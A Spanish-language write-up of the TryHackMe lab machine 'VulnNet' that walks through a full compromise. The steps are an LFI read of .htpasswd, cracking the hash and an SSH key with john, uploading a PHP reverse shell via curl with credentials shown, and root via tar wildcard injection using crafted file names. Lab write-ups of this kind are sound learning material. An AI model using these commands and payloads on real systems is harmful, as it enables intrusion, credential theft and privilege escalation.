Writeup THM - Maquina Vulnet

4 minute read

Hola a todos, ayer en la noche resolvi esta maquina de thm y me parecio muy divertida. Asi que les comparto el writeup

Asi que antes de comenzar leemos la recomendación del autor de la maquina, donde nos dice agregar la ip que nos asignaron con el dominio en vulnnet.thm en el /etc/hosts. Sin embargo esto me huele que debe tener virtual hosting y por ahi debe tener algun subdominio pero vamos que pasa

ahora damos un scan con nmap para ver a que nos enfrentamos

nmap -sC -sV -p22,80 -Pn -oN targeted vulnnet.thm 
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-17 21:15 -05
Nmap scan report for vulnnet.thm (10.10.226.231)
Host is up (0.18s latency).
rDNS record for 10.10.226.231: broadcast.vulnnet.thm

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
|   256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_  256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: VulnNet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.23 seconds


al ver la salida de nmap, me parecio interesante podemos ver que tenemos el puerto 22,80. Esto nos dice que seguro que todo los tiros seran por la parte web

hice un reconocimiento de la web para ver si por algun lado se escapaba un usuario y puedar poder acceder al sistema, pero sin exito :(. Asi que segui haciendo un reconocimiento con Wappalyzer y podemos ver las tegnologias que usa esta web

tambien hice un escaneo con dirsearch pero nada interesante, pero si revisamos el codigo fuente de la web y revisamos los recursos encontramos algo interesante

entonces podemos ver que estos javascript estan ofuscados, pero use una herramienta online de desofuscar el javascript y buscar algun indicio que me ayude seguir avanzando. Entonces al desofuscar el archivo index__7ed54732.js podemos obtener un subdominio interesante

bueno este subdominio lo agregare al /etc/hosts

10.10.226.231 broadcast.vulnnet.thm vulnnet.thm

podemos ver cuando accedemos a este subdominio me sale un popup donde pide un usuario y password

pero ahora no tengo ningun usuario, ni mucho menos credenciales. Asi que sigamos buscando en el otro archivo javascript

este ultimo me manda url con un parametro interesante, asi que realizando pruebas, encontramos que es vulnerable a LFI

ya que tenemos un servidor web apache busquemos archivos de configuracion google y el repositorio de seclists me ayudaron mucho, asi que revisando en /etc/apache2/sites-enabled/000-default.conf

asi que entremos busquemos en /etc/apache2/.htpasswd

http://vulnnet.thm/index.php?referer=/etc/apache2/.htpasswd

ya que encontramos un user y un hash, crackeemos ese hash con john

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

ya que tenemos las credenciales probe usando dichas credenciales en broadcast.vulnnet.thm

podemos ver que esta web esta usando un cms llamado clickbucket, que funciona para compartir fotos y videos algo del estilo youtube, pero busquemos la version de dicho cms en el codigo fuente

bueno ahora que sabemos la version busquemos un exploit que nos ayude a entrar al sistema

revisando el exploit que encontramos revisamos un comando curl que segun dice nos permitira subir una shell, asi que preparemos una shell que viene en kali o parrot por defecto y lo renombraremos como shell.php

/usr/share/webshells/php/php-reverse-shell.php

como podemos solo modifique en la shell mi ip y un puerto al que se conectara, asi que ahora probe el comando curl que viene en el exploit

curl -F "file=@shell.php" -F "plupload=1" -F "name=shell.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php"

que mal al utilizar dicho comando me sale un error, el mensaje dice algo como que el servidor no encuentra que este autorizado para realizar dicha solicitud, asi viendo los comandos de curl probe agregar las credenciales que encontre y con las que me autentifique en dicha web

curl -F "file=@shell.php" -F "plupload=1" -F "name=shell.php" "http://broadcast.vulnnet.thm/actions/beats_uploader.php -u developers:9972761drmfsls"

genial, nos salio como respuesta que se subio nuestra shell, ahora me tarde viendo donde encuentro dicha shell jaja. pero revisando un exploit de metasploit pude encontrar la ruta

bueno la ruta era muy obvia jeje pero listo ahora dejemos el puerto 4444 en escucha y ejecutemos nuestra shell en nuestro navegador

nc -nlvp 4444

genial tenemos shell

Obteniendo el user.txt

Ya pudimos acceder al sistema asi que nos damos con la tarea de obtener la flag de user.txt, asi que ejecutando linpeas.sh pude ver un archivo interesante /var/backups/ssh-backup.tar.gz. Por lo tanto descomprimi dicho archivo

encontramos un id_rsa, asi que intente ingresar con algun usuario por ssh con dicho id_rsa pero me pedia un passphrase

bueno asi que crackee dicho id_rsa con john

ssh2john id_rsa > id_rsa.hash
john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt

listo ya que tenemos el passphrase, ahora si probare ingresar con el usuario server-management. aunque tuve problemas para acceder creo que era por la vpn por que al reiniciar la maquina, funciono y pude acceder

ahora nos queda leer el flag user.txt

Obteniendo el root.txt

Ahora nos toca sacar el root.txt, asi que revisando podemos ver que se esta ejecutando un tarea en crontab

revisando dicho script backupsrv.sh podemos ver que hace un backup con tar de todo lo que que se encuentra en /home/server-management/Documents, de esto nos damos cuenta por asterisco que esta usando

por lo tanto investigando pude ver un articulo muy interesante que me ayudo a ejecutar una archivo bash aprovechando del tar y el asterisco que esta usando

https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

asi creamos nuestra shell

y ejecutamos las siguientes dos lineas del articulo que leimos

echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

y ahora dejemos en escucha nuestra puerto que pusimos en nuestra shell.sh y esperemos que se conecte nuestra reverse shell

genial, ahora a obtener nuestra shell

listo con esto terminamos de vencer esta maquina, y nos vamos aprendiendo cosas nuevas. nos vemos :)